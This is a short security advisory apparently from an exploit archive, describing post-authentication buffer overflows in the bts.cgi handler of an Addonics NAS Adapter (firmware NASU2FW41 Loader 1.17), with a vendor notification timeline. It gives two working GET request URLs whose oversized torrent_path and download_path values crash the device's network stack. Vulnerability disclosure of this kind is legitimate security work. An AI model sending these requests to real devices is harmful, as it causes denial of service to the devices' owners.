Addonics NAS Adapter (bts.cgi) Remote DoS Exploit (post-auth)

Remote: Yes
Local: No
Credit: Mike Cyr, aka h00die
Vulnerable: NASU2FW41 Loader 1.17
Not Vulnerable:

Discussion:

Addonics NAS Adapter Post-Auth DoS

Addonics NAS Adapter is prone to several post authentication buffer overflows. Each of these
buffer overflows will crash the entire TCP/IP stack and the device will have to be power cycled to
restore any functionality. Addonics currently has implemented GUI level (client side) controls for
preventing long inputs, but by simply doing a direct HTTP GET request (the device doesn't use POST)
this can be bypassed.

Addonics was notified of the buffer overflows via ticket 497283 on March 25, 2009. Vendor
acknowledgment on March 26, 2009.

Exploiting these issues will crash the network stack and create a Denial of Service condition.

Firmware NASU2FW41 Loader1.17 are vulnerable; other versions may also be.

Exploit:

http://www.milw0rm.com/exploits/8490

Attackers can use a browser to exploit these issues.

The following GET requests will result in the TCP/IP stack crashing and the device requiring a
reboot

1. Bittorrent: Download Path

http://<ip>/bts.cgi?redirect=bt.htm&failure=fail.htm&type=bt_search_apply&torrent_path=&download_path=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

2. Bittorent: torrent path

http://<ip>/bts.cgi?redirect=bt.htm&failure=fail.htm&type=bt_search_apply&torrent_path=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&download_path=PUBLIC

References:

Vendor/Product Website: http://www.addonics.com/products/nas/nasu2.asp